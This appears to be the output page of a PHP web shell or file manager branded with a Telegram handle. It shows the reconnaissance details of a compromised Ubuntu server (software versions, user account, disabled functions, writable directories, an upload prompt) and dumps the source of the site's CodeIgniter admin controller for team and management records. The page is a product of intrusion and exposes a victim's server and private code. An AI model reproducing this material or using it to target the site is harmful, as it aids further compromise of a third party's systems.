https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/iatax.com.au/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/iatax.com.au/public_html/application/controllers/admin/Managements.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Managements extends Admin_Controller {

	private $management_current_id = null; 
	private $imageupload_indexpage = FALSE;
		
	function __construct() { 
		parent::__construct();	
		$this->load->model('management_m');
		$this->load->model('menu_m');
	} 
		
	//this is to list all managements
	public function index() {
		$this->load->helper('form');

		// management page display status
		$management_menu = $this->menu_m->get_management_menu()[0];
		$this->data['management_menu_status'] = $management_menu->status;

		if ($_POST['action-btn'] == 'toggle-display') {
			$updatedData['status'] = $_POST['status'];

			$this->menu_m->edit_menu($management_menu->id_menus, $updatedData);
			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Management Landing Page Edit Successful</p>');

			$this->data['management_menu_status'] = $updatedData['status'];
		}

		if($_POST['action-btn'] == 'UPDATE IMAGE') {

			$this->imageupload_indexpage = TRUE;

			//if there is a form submit banner image description at landing page
			$image_filename = $this->image_processing($_FILES['userfile']['size']);
		
			//image upload
			if (isset($image_filename)) {
				$data['management_landingpage_image'] = $image_filename; 
			} 
			$this->db->where('id_configuration', 1);
			$this->db->update('configuration', $data); 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Management Landing Page Edit Successful</p>');
		}

		//get landingpage banner image, description and link
		$this->db->select('management_landingpage_image')->from('configuration')->where('id_configuration', 1);
		$this->data['management_landingpage'] = $this->db->get()->row();

		//pagination in action. 100 results per page
		$this->load->library('pagination');

		$config = array();
		$this->load->helper('pagination_helper');
		$config = pagination_format();
		$config['base_url'] = base_url() . 'admin/managements/index';
		$config['total_rows'] = $this->management_m->record_count(); 
		$config['per_page'] = 100;
		$config['uri_segment'] = 4;

		$this->pagination->initialize($config);
   		$this->data['managements'] = $this->management_m->get_all_managements($config['per_page'], 
		$this->uri->segment($config['uri_segment']));  

		//load view
		$this->data['subview'] = 'admin/managements/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');		
    }
	
	//to add a new management 
	public function add() {
		$this->data['managements'] = $this->management_m->get_new();

		//get ordering number and display at add form
		$this->db->select_max('priority')->from('managements');
		$current_priority = $this->db->get()->row()->priority;
		if($current_priority == NULL) {
			$this->data['managements']->priority = 1;	
		} else {
			$this->data['managements']->priority = $current_priority + 1;
		}

		//validation in action
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); 
		$config = $this->management_m->rules; 
		$this->form_validation->set_rules($config); 

		//add $this because we use hmvc
		if($this->form_validation->run($this) == TRUE) {
			$image_filename = $this->image_processing($_FILES['userfile']['size']);

			$data = $this->table_data_processing(
				$image_filename
			);

			$this->management_m->add_management($data);

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Team Add Successful</p>');

			redirect('admin/managements');
		} 
		
		$this->data['subview'] = 'admin/managements/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}
	
	//to edit management in admin
	public function edit($id = NULL) {

		if ($id == NULL) { show_404(); }

		//check if id exist. If not exist, show 404.
		$count = $this->management_m->count_exist($id);
		if ($count == 0) { show_404(); } 		

		$this->data['managements'] = $this->management_m->get($id);	

		$this->management_current_id = (int) $id;

		//validation check in action
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled
		
		$config = $this->management_m->rules;
		$this->form_validation->set_rules($config); 

		if($this->form_validation->run($this) == TRUE) {
			
			$image_filename = $this->image_processing($_FILES['userfile']['size']);

			$data = $this->table_data_processing(
				$image_filename
			);

			$this->management_m->edit_management($id, $data); 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Team Edit Successful</p>');
			
			redirect('admin/managements/edit/' .  $id);
		} 
	
		$this->data['subview'] = 'admin/managements/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}
	

	//to delete a management
	public function delete($id) {
		//check if id exist. If not exist, show 404.
		$count = $this->management_m->count_exist($id);
		
		if ($count == 0) { 
			//page not exist
			show_404();
		}		

		//delete image from server
		//check if there is an existing image
		$this->db->select('image')->from('managements')->where('id', (int) $id);
		$image = $this->db->get()->row();
		
		if ($image->image != '' || $image->image != NULL) {
			
			//Delete the actual image file from server. FCPATH is codeigniter base path
			unlink(FCPATH .'/uploads/management/'. $image->image);
		}

		//delete management
		$this->management_m->delete($id); 

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Team Delete Successful</p>');
		redirect('admin/managements'); 
	} 


	//image upload processing
	private function image_processing($image_file_size) {

		//check & processing image banner upload files	
		if ($image_file_size !== 0) {  	
			$config['upload_path'] = './uploads/management/'; 
			$config['allowed_types'] = 'jpg|png|jpeg'; 
			$config['max_size']	= '600';
			// $config['max_width']  = '350';
			// $config['max_height']  = '477';
			
			$this->load->library('upload', $config); 

			if ( ! $this->upload->do_upload()) {
        //echo $this->upload->display_errors(); die();
				
				$this->session->set_flashdata('banner_error', "<br>
					<p style='background:orange; color:white; padding:5px; font-weight:bold;'>{$this->upload->display_errors()}</p>");

				if ($this->management_current_id != NULL) {
					redirect('admin/managements/edit/' . $this->management_current_id);
				} elseif($this->management_current_id == NULL && $this->imageupload_indexpage == FALSE) {
					redirect('admin/managements/add');
				} elseif($this->management_current_id == NULL && $this->imageupload_indexpage == TRUE) {
					redirect('admin/managements');
				}
			
			} else {
				$image = $this->upload->data();
				$image_filename = $image['file_name']; 	 
				return $image_filename; 
			}	
		}
	}

	private function table_data_processing($image_filename) {
		$data = array(
			'name' 	=> $this->security->xss_clean($this->input->post('name')),
			'status' 		=> $this->security->xss_clean($this->input->post('status')),
			'position_ind' 	=> $this->security->xss_clean($this->input->post('position_ind')),
			'position_en' => $this->security->xss_clean($this->input->post('position_en')),
			'description_ind' 	=> $this->security->xss_clean($this->input->post('description_ind')),
			'description_en' => $this->security->xss_clean($this->input->post('description_en')),
			'priority' 		=> $this->security->xss_clean($this->input->post('priority'))
		);
		//image upload
		if (isset($image_filename)) {
			$data['image'] = $image_filename; 
		} 
		return $data; 
	}

	//To delete management landingpage banner image file from server, and from database
	public function delete_landingpage_image() { 
		//get image file name for deletion
		$this->db->select('management_landingpage_image')->from('configuration')->where('id_configuration', 1);
		$image = $this->db->get()->row()->management_landingpage_image;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/management/'. $image);

		//Delete image field from database
		$data = array( 
			'management_landingpage_image' => '',
		);
		$this->db->where('id_configuration', 1);
		$this->db->update('configuration', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/managements'); 
	}

	//To delete management banner image file from server, and from database
	public function delete_image($id = NULL) { 

		$count = $this->management_m->count_exist($id);

		if ($id == NULL || $count == 0) {	
			redirect('admin/managements');
		}

		//get image file name for deletion
		$this->db->select('image')->from('managements')->where('id', (int) $id);
		$image = $this->db->get()->row();

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/management/'. $image->image);

		//Delete image field from database
		$data = array( 
			'image' => '',
		);

		$this->db->where('id', (int) $id);
		$this->db->update('managements', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/managements/edit/' . $id); 
	}	
}

https://t.me/RX1948 - 2025